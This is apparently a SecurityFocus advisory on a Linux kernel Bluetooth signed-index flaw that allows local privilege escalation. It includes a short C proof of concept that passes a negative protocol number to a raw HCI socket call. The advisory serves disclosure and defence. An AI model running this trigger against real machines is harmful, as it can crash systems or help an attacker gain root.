source: http://www.securityfocus.com/bid/12911/info
A local signed-buffer-index vulnerability affects the Linux kernel because it fails to securely handle signed values when validating memory indexes.
A local attacker may leverage this issue to gain escalated privileges on an affected computer.
#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>
main()
{
int ctl;
/* Open HCI socket */
if ((ctl = socket(AF_BLUETOOTH, SOCK_RAW, -1111)) < 0)
{
perror("Can't open HCI socket.");
exit(1);
}
}
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